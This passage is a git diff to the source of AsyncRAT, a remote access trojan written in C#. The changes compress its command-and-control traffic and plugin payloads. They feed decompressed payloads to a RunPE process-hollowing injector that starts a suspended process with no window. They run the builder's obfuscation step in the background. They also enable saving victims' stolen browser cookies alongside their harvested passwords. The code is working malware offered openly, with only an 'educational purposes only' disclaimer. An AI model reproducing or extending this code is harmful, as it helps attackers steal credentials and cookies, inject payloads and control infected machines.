if (loader.EntryPoint.GetParameters().Length > 0)
|
||||||
{
|
{
|
||||||
@ -68,7 +68,7 @@ namespace Plugin.Handler
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), buffer, true);
|
RunPE.Run(Path.Combine(RuntimeEnvironment.GetRuntimeDirectory().Replace("Framework64", "Framework"), injection), Methods.Decompress(buffer), true);
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
{
|
{
|
||||||
|
@ -35,7 +35,11 @@ namespace Plugin.Handler
|
|||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
|
|
||||||
Registry.CurrentUser.CreateSubKey(@"", RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteSubKey(Connection.Hwid);
|
try
|
||||||
|
{
|
||||||
|
Registry.CurrentUser.CreateSubKey(@"", RegistryKeyPermissionCheck.ReadWriteSubTree).DeleteSubKey(Connection.Hwid);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
string batch = Path.GetTempFileName() + ".bat";
|
string batch = Path.GetTempFileName() + ".bat";
|
||||||
using (StreamWriter sw = new StreamWriter(batch))
|
using (StreamWriter sw = new StreamWriter(batch))
|
||||||
|
@ -484,6 +484,7 @@ namespace Plugin.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -825,7 +826,7 @@ namespace Plugin.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -2,6 +2,8 @@
|
|||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.Diagnostics;
|
using System.Diagnostics;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Runtime.InteropServices;
|
using System.Runtime.InteropServices;
|
||||||
using System.Security.Principal;
|
using System.Security.Principal;
|
||||||
@ -10,7 +12,7 @@ using System.Threading;
|
|||||||
|
|
||||||
namespace Plugin
|
namespace Plugin
|
||||||
{
|
{
|
||||||
public static class Methods
|
public static class Methods
|
||||||
{
|
{
|
||||||
public static void ClientExit()
|
public static void ClientExit()
|
||||||
{
|
{
|
||||||
@ -60,6 +62,42 @@ namespace Plugin
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
[DllImport("ntdll.dll", SetLastError = true)]
|
[DllImport("ntdll.dll", SetLastError = true)]
|
||||||
private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
|
private static extern void RtlSetProcessIsCritical(UInt32 v1, UInt32 v2, UInt32 v3);
|
||||||
}
|
}
|
||||||
|
@ -70,7 +70,7 @@ namespace Plugin
|
|||||||
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
|
si.Size = Convert.ToUInt32(Marshal.SizeOf(typeof(StartupInformation)));
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 2 + 2, IntPtr.Zero, null, ref si, ref pi)) throw new Exception();
|
if (!CreateProcess(path, quotedPath, IntPtr.Zero, IntPtr.Zero, false, 0x00000004u | 0x08000000u, IntPtr.Zero, null, ref si, ref pi)) throw new Exception();
|
||||||
int fileAddress = BitConverter.ToInt32(data, 120 / 2);
|
int fileAddress = BitConverter.ToInt32(data, 120 / 2);
|
||||||
int imageBase = BitConverter.ToInt32(data, fileAddress + 26 + 26);
|
int imageBase = BitConverter.ToInt32(data, fileAddress + 26 + 26);
|
||||||
int[] context = new int[179];
|
int[] context = new int[179];
|
||||||
|
@ -56,6 +56,7 @@
|
|||||||
<Compile Include="Plugin.cs" />
|
<Compile Include="Plugin.cs" />
|
||||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||||
<Compile Include="RunPE.cs" />
|
<Compile Include="RunPE.cs" />
|
||||||
|
<Compile Include="Zip.cs" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||||
</Project>
|
</Project>
|
45
AsyncRAT-C#/Plugin/SendFile/SendFile/Zip.cs
Normal file
45
AsyncRAT-C#/Plugin/SendFile/SendFile/Zip.cs
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
|
||||||
|
namespace Plugin
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
46
AsyncRAT-C#/Server/Algorithm/Zip.cs
Normal file
46
AsyncRAT-C#/Server/Algorithm/Zip.cs
Normal file
@ -0,0 +1,46 @@
|
|||||||
|
using System;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
using System.Threading.Tasks;
|
||||||
|
|
||||||
|
namespace Server.Algorithm
|
||||||
|
{
|
||||||
|
public static class Zip
|
||||||
|
{
|
||||||
|
public static byte[] Decompress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var source = new MemoryStream(input))
|
||||||
|
{
|
||||||
|
byte[] lengthBytes = new byte[4];
|
||||||
|
source.Read(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||||
|
using (var decompressionStream = new GZipStream(source,
|
||||||
|
CompressionMode.Decompress))
|
||||||
|
{
|
||||||
|
var result = new byte[length];
|
||||||
|
decompressionStream.Read(result, 0, length);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] Compress(byte[] input)
|
||||||
|
{
|
||||||
|
using (var result = new MemoryStream())
|
||||||
|
{
|
||||||
|
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||||
|
result.Write(lengthBytes, 0, 4);
|
||||||
|
|
||||||
|
using (var compressionStream = new GZipStream(result,
|
||||||
|
CompressionMode.Compress))
|
||||||
|
{
|
||||||
|
compressionStream.Write(input, 0, input.Length);
|
||||||
|
compressionStream.Flush();
|
||||||
|
|
||||||
|
}
|
||||||
|
return result.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
@ -89,7 +89,13 @@ namespace Server.Connection
|
|||||||
BytesRecevied += Recevied;
|
BytesRecevied += Recevied;
|
||||||
if (ClientMS.Length == ClientBuffersize)
|
if (ClientMS.Length == ClientBuffersize)
|
||||||
{
|
{
|
||||||
ThreadPool.QueueUserWorkItem(new Packet().Read, new object[] { ClientMS.ToArray(), this });
|
|
||||||
|
ThreadPool.QueueUserWorkItem(new Packet
|
||||||
|
{
|
||||||
|
client = this,
|
||||||
|
data = ClientMS.ToArray(),
|
||||||
|
}.Read, null);
|
||||||
|
|
||||||
ClientBuffer = new byte[4];
|
ClientBuffer = new byte[4];
|
||||||
ClientMS.Dispose();
|
ClientMS.Dispose();
|
||||||
ClientMS = new MemoryStream();
|
ClientMS = new MemoryStream();
|
||||||
|
@ -23,7 +23,7 @@ namespace Server.Connection
|
|||||||
ReceiveBufferSize = 50 * 1024,
|
ReceiveBufferSize = 50 * 1024,
|
||||||
};
|
};
|
||||||
Server.Bind(ipEndPoint);
|
Server.Bind(ipEndPoint);
|
||||||
Server.Listen(100);
|
Server.Listen(500);
|
||||||
new HandleLogs().Addmsg($"Listenning {port}", Color.Green);
|
new HandleLogs().Addmsg($"Listenning {port}", Color.Green);
|
||||||
Server.BeginAccept(EndAccept, null);
|
Server.BeginAccept(EndAccept, null);
|
||||||
}
|
}
|
||||||
|
@ -570,7 +570,7 @@ namespace Server
|
|||||||
{
|
{
|
||||||
MsgPack packet = new MsgPack();
|
MsgPack packet = new MsgPack();
|
||||||
packet.ForcePathObject("Packet").AsString = "sendMemory";
|
packet.ForcePathObject("Packet").AsString = "sendMemory";
|
||||||
packet.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString()));
|
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(formSend.toolStripStatusLabel1.Tag.ToString())));
|
||||||
if (formSend.comboBox1.SelectedIndex == 0)
|
if (formSend.comboBox1.SelectedIndex == 0)
|
||||||
{
|
{
|
||||||
packet.ForcePathObject("Inject").AsString = "";
|
packet.ForcePathObject("Inject").AsString = "";
|
||||||
@ -587,6 +587,7 @@ namespace Server
|
|||||||
|
|
||||||
foreach (Clients client in GetSelectedClients())
|
foreach (Clients client in GetSelectedClients())
|
||||||
{
|
{
|
||||||
|
client.LV.ForeColor = Color.Red;
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -604,26 +605,32 @@ namespace Server
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
OpenFileDialog openFileDialog = new OpenFileDialog();
|
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||||
openFileDialog.Multiselect = true;
|
|
||||||
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
|
||||||
{
|
{
|
||||||
MsgPack packet = new MsgPack();
|
openFileDialog.Multiselect = true;
|
||||||
packet.ForcePathObject("Packet").AsString = "sendFile";
|
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
||||||
packet.ForcePathObject("Update").AsString = "false";
|
|
||||||
|
|
||||||
MsgPack msgpack = new MsgPack();
|
|
||||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
|
||||||
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll"));
|
|
||||||
|
|
||||||
foreach (Clients client in GetSelectedClients())
|
|
||||||
{
|
{
|
||||||
foreach (string file in openFileDialog.FileNames)
|
MsgPack packet = new MsgPack();
|
||||||
|
packet.ForcePathObject("Packet").AsString = "sendFile";
|
||||||
|
packet.ForcePathObject("Update").AsString = "false";
|
||||||
|
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||||
|
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll"));
|
||||||
|
|
||||||
|
foreach (Clients client in GetSelectedClients())
|
||||||
{
|
{
|
||||||
await packet.ForcePathObject("File").LoadFileAsBytes(file);
|
client.LV.ForeColor = Color.Red;
|
||||||
packet.ForcePathObject("Extension").AsString = Path.GetExtension(file);
|
foreach (string file in openFileDialog.FileNames)
|
||||||
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
|
{
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
await Task.Run(() =>
|
||||||
|
{
|
||||||
|
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(file)));
|
||||||
|
packet.ForcePathObject("Extension").AsString = Path.GetExtension(file);
|
||||||
|
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
|
||||||
|
});
|
||||||
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -1050,27 +1057,30 @@ namespace Server
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private async void UpdateToolStripMenuItem2_Click(object sender, EventArgs e)
|
private void UpdateToolStripMenuItem2_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
OpenFileDialog openFileDialog = new OpenFileDialog();
|
using (OpenFileDialog openFileDialog = new OpenFileDialog())
|
||||||
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
|
||||||
{
|
{
|
||||||
MsgPack packet = new MsgPack();
|
if (openFileDialog.ShowDialog() == DialogResult.OK)
|
||||||
packet.ForcePathObject("Packet").AsString = "sendFile";
|
|
||||||
await packet.ForcePathObject("File").LoadFileAsBytes(openFileDialog.FileName);
|
|
||||||
packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
|
|
||||||
packet.ForcePathObject("Update").AsString = "true";
|
|
||||||
|
|
||||||
MsgPack msgpack = new MsgPack();
|
|
||||||
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
|
||||||
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll"));
|
|
||||||
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
|
|
||||||
|
|
||||||
foreach (Clients client in GetSelectedClients())
|
|
||||||
{
|
{
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
MsgPack packet = new MsgPack();
|
||||||
|
packet.ForcePathObject("Packet").AsString = "sendFile";
|
||||||
|
packet.ForcePathObject("File").SetAsBytes(Zip.Compress(File.ReadAllBytes(openFileDialog.FileName)));
|
||||||
|
packet.ForcePathObject("Extension").AsString = Path.GetExtension(openFileDialog.FileName);
|
||||||
|
packet.ForcePathObject("Update").AsString = "true";
|
||||||
|
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "plugin";
|
||||||
|
msgpack.ForcePathObject("Dll").AsString = (GetHash.GetChecksum(@"Plugins\SendFile.dll"));
|
||||||
|
msgpack.ForcePathObject("Msgpack").SetAsBytes(packet.Encode2Bytes());
|
||||||
|
|
||||||
|
foreach (Clients client in GetSelectedClients())
|
||||||
|
{
|
||||||
|
client.LV.ForeColor = Color.Red;
|
||||||
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
4
AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs
generated
4
AsyncRAT-C#/Server/Forms/FormAbout.Designer.cs
generated
@ -44,9 +44,7 @@
|
|||||||
this.richTextBox1.ShortcutsEnabled = false;
|
this.richTextBox1.ShortcutsEnabled = false;
|
||||||
this.richTextBox1.Size = new System.Drawing.Size(557, 210);
|
this.richTextBox1.Size = new System.Drawing.Size(557, 210);
|
||||||
this.richTextBox1.TabIndex = 0;
|
this.richTextBox1.TabIndex = 0;
|
||||||
this.richTextBox1.Text = "\n │ Author : NYAN CAT\n │ Name : AsyncRAT © 2019\n │ C" +
|
this.richTextBox1.Text = resources.GetString("richTextBox1.Text");
|
||||||
"ontact : github.com/NYAN-x-CAT\n\n This program is distributed for educat" +
|
|
||||||
"ional purposes only.\n\n";
|
|
||||||
this.richTextBox1.ZoomFactor = 1.1F;
|
this.richTextBox1.ZoomFactor = 1.1F;
|
||||||
//
|
//
|
||||||
// FormAbout
|
// FormAbout
|
||||||
|
@ -117,6 +117,16 @@
|
|||||||
<resheader name="writer">
|
<resheader name="writer">
|
||||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||||
</resheader>
|
</resheader>
|
||||||
|
<data name="richTextBox1.Text" xml:space="preserve">
|
||||||
|
<value>
|
||||||
|
│ Author NYAN CAT
|
||||||
|
│ Name AsyncRAT © 2019
|
||||||
|
│ Page GitHub.com/NYAN-x-CAT
|
||||||
|
│ Twitter Twitter.com/NYAN_x_CAT
|
||||||
|
|
||||||
|
This program is distributed for educational purposes only.
|
||||||
|
</value>
|
||||||
|
</data>
|
||||||
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
<assembly alias="System.Drawing" name="System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
|
||||||
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
<data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||||
<value>
|
<value>
|
||||||
|
@ -203,7 +203,10 @@ namespace Server.Forms
|
|||||||
if (chkObfu.Checked)
|
if (chkObfu.Checked)
|
||||||
{
|
{
|
||||||
//EncryptString.DoEncrypt(asmDef);
|
//EncryptString.DoEncrypt(asmDef);
|
||||||
Renaming.DoRenaming(asmDef);
|
await Task.Run(() =>
|
||||||
|
{
|
||||||
|
Renaming.DoRenaming(asmDef);
|
||||||
|
});
|
||||||
}
|
}
|
||||||
asmDef.Write(saveFileDialog1.FileName);
|
asmDef.Write(saveFileDialog1.FileName);
|
||||||
asmDef.Dispose();
|
asmDef.Dispose();
|
||||||
|
@ -45,38 +45,37 @@ namespace Server
|
|||||||
|
|
||||||
private void button1_Click(object sender, EventArgs e)
|
private void button1_Click(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
OpenFileDialog O = new OpenFileDialog()
|
using (OpenFileDialog O = new OpenFileDialog())
|
||||||
{
|
{
|
||||||
Filter = "(*.exe)|*.exe"
|
O.Filter = "(*.exe)|*.exe";
|
||||||
};
|
if (O.ShowDialog() == DialogResult.OK)
|
||||||
if (O.ShowDialog() == DialogResult.OK)
|
|
||||||
{
|
|
||||||
toolStripStatusLabel1.Text = Path.GetFileName(O.FileName);
|
|
||||||
toolStripStatusLabel1.Tag = O.FileName;
|
|
||||||
toolStripStatusLabel1.ForeColor = Color.Green;
|
|
||||||
IsOK = true;
|
|
||||||
if (comboBox1.SelectedIndex == 0)
|
|
||||||
{
|
{
|
||||||
try
|
toolStripStatusLabel1.Text = Path.GetFileName(O.FileName);
|
||||||
|
toolStripStatusLabel1.Tag = O.FileName;
|
||||||
|
toolStripStatusLabel1.ForeColor = Color.Green;
|
||||||
|
IsOK = true;
|
||||||
|
if (comboBox1.SelectedIndex == 0)
|
||||||
{
|
{
|
||||||
new ReferenceLoader().AppDomainSetup(O.FileName);
|
try
|
||||||
IsOK = true;
|
{
|
||||||
}
|
new ReferenceLoader().AppDomainSetup(O.FileName);
|
||||||
catch
|
IsOK = true;
|
||||||
{
|
}
|
||||||
toolStripStatusLabel1.ForeColor = Color.Red;
|
catch
|
||||||
toolStripStatusLabel1.Text += " Invalid!";
|
{
|
||||||
IsOK = false;
|
toolStripStatusLabel1.ForeColor = Color.Red;
|
||||||
|
toolStripStatusLabel1.Text += " Invalid!";
|
||||||
|
IsOK = false;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
toolStripStatusLabel1.Text = "";
|
||||||
|
toolStripStatusLabel1.ForeColor = Color.Black;
|
||||||
|
IsOK = true;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
else
|
|
||||||
{
|
|
||||||
toolStripStatusLabel1.Text = "";
|
|
||||||
toolStripStatusLabel1.ForeColor = Color.Black;
|
|
||||||
IsOK = true;
|
|
||||||
}
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private void button2_Click(object sender, EventArgs e)
|
private void button2_Click(object sender, EventArgs e)
|
||||||
|
@ -63,7 +63,7 @@ namespace Server.Handle_Packet
|
|||||||
try
|
try
|
||||||
{
|
{
|
||||||
lock (Settings.LockListviewClients)
|
lock (Settings.LockListviewClients)
|
||||||
if (client != null && client.LV != null)
|
if (client.LV != null)
|
||||||
client.LV.ForeColor = Color.Empty;
|
client.LV.ForeColor = Color.Empty;
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
|
@ -19,21 +19,25 @@ namespace Server.Handle_Packet
|
|||||||
{
|
{
|
||||||
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + unpack_msgpack.ForcePathObject("Hwid").AsString + "\\Recovery");
|
string fullPath = Path.Combine(Application.StartupPath, "ClientsFolder\\" + unpack_msgpack.ForcePathObject("Hwid").AsString + "\\Recovery");
|
||||||
string pass = unpack_msgpack.ForcePathObject("Password").AsString;
|
string pass = unpack_msgpack.ForcePathObject("Password").AsString;
|
||||||
//string cookies = unpack_msgpack.ForcePathObject("Cookies").AsString;
|
string cookies = unpack_msgpack.ForcePathObject("Cookies").AsString;
|
||||||
if (!string.IsNullOrWhiteSpace(pass))// || !string.IsNullOrWhiteSpace(cookies))
|
if (!string.IsNullOrWhiteSpace(pass) || !string.IsNullOrWhiteSpace(cookies))
|
||||||
{
|
{
|
||||||
if (!Directory.Exists(fullPath))
|
if (!Directory.Exists(fullPath))
|
||||||
Directory.CreateDirectory(fullPath);
|
Directory.CreateDirectory(fullPath);
|
||||||
File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine));
|
File.WriteAllText(fullPath + "\\Password_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", pass.Replace("\n", Environment.NewLine));
|
||||||
//File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies.Replace("\n", Environment.NewLine));
|
File.WriteAllText(fullPath + "\\Cookies_" + DateTime.Now.ToString("MM-dd-yyyy HH;mm;ss") + ".txt", cookies);
|
||||||
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
|
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} recovered passwords successfully", Color.Purple);
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple);
|
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} has no passwords", Color.MediumPurple);
|
||||||
}
|
}
|
||||||
|
client?.Disconnected();
|
||||||
|
}
|
||||||
|
catch (Exception ex)
|
||||||
|
{
|
||||||
|
new HandleLogs().Addmsg(ex.Message, Color.Red);
|
||||||
}
|
}
|
||||||
catch { }
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -8,14 +8,13 @@ namespace Server.Handle_Packet
|
|||||||
{
|
{
|
||||||
public class Packet
|
public class Packet
|
||||||
{
|
{
|
||||||
public void Read(object Obj)
|
public Clients client;
|
||||||
|
public byte[] data;
|
||||||
|
|
||||||
|
public void Read(object o)
|
||||||
{
|
{
|
||||||
Clients client = null;
|
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
object[] array = Obj as object[];
|
|
||||||
byte[] data = (byte[])array[0];
|
|
||||||
client = (Clients)array[1];
|
|
||||||
MsgPack unpack_msgpack = new MsgPack();
|
MsgPack unpack_msgpack = new MsgPack();
|
||||||
unpack_msgpack.DecodeFromBytes(data);
|
unpack_msgpack.DecodeFromBytes(data);
|
||||||
|
|
||||||
|
@ -2,6 +2,7 @@
|
|||||||
using Server.Algorithm;
|
using Server.Algorithm;
|
||||||
using Server.Handle_Packet;
|
using Server.Handle_Packet;
|
||||||
using System;
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
using System.Drawing;
|
using System.Drawing;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
@ -49,7 +50,11 @@ namespace Server.Helper
|
|||||||
{
|
{
|
||||||
foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
|
foreach (string plugin in Directory.GetFiles("Plugins", "*.dll", SearchOption.TopDirectoryOnly))
|
||||||
{
|
{
|
||||||
Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(File.ReadAllBytes(plugin))));
|
Settings.Plugins.Add(GetHash.GetChecksum(plugin), Strings.StrReverse(Convert.ToBase64String(Zip.Compress(File.ReadAllBytes(plugin)))));
|
||||||
|
#if DEBUG
|
||||||
|
byte[] plg = Zip.Compress(File.ReadAllBytes(plugin));
|
||||||
|
Debug.WriteLine($"{plugin} : {BytesToString(plg.Length)}");
|
||||||
|
#endif
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch (Exception ex)
|
catch (Exception ex)
|
||||||
|
@ -41,7 +41,7 @@
|
|||||||
<ILMergeCopyAttributes></ILMergeCopyAttributes>
|
<ILMergeCopyAttributes></ILMergeCopyAttributes>
|
||||||
|
|
||||||
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
|
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
|
||||||
<ILMergeDebugInfo></ILMergeDebugInfo>
|
<ILMergeDebugInfo>false</ILMergeDebugInfo>
|
||||||
|
|
||||||
<!-- Target assembly will be delay signed -->
|
<!-- Target assembly will be delay signed -->
|
||||||
<ILMergeDelaySign></ILMergeDelaySign>
|
<ILMergeDelaySign></ILMergeDelaySign>
|
||||||
|
@ -10,6 +10,7 @@
|
|||||||
*
|
*
|
||||||
* Credit -> github.com/ymofen/SimpleMsgPack.Net
|
* Credit -> github.com/ymofen/SimpleMsgPack.Net
|
||||||
*/
|
*/
|
||||||
|
using Server.Algorithm;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections;
|
using System.Collections;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
@ -498,6 +499,7 @@ namespace Server.MessagePack
|
|||||||
{
|
{
|
||||||
using (MemoryStream ms = new MemoryStream())
|
using (MemoryStream ms = new MemoryStream())
|
||||||
{
|
{
|
||||||
|
bytes = Zip.Decompress(bytes);
|
||||||
ms.Write(bytes, 0, bytes.Length);
|
ms.Write(bytes, 0, bytes.Length);
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
DecodeFromStream(ms);
|
DecodeFromStream(ms);
|
||||||
@ -839,7 +841,7 @@ namespace Server.MessagePack
|
|||||||
byte[] r = new byte[ms.Length];
|
byte[] r = new byte[ms.Length];
|
||||||
ms.Position = 0;
|
ms.Position = 0;
|
||||||
ms.Read(r, 0, (int)ms.Length);
|
ms.Read(r, 0, (int)ms.Length);
|
||||||
return r;
|
return Zip.Compress(r);
|
||||||
}
|
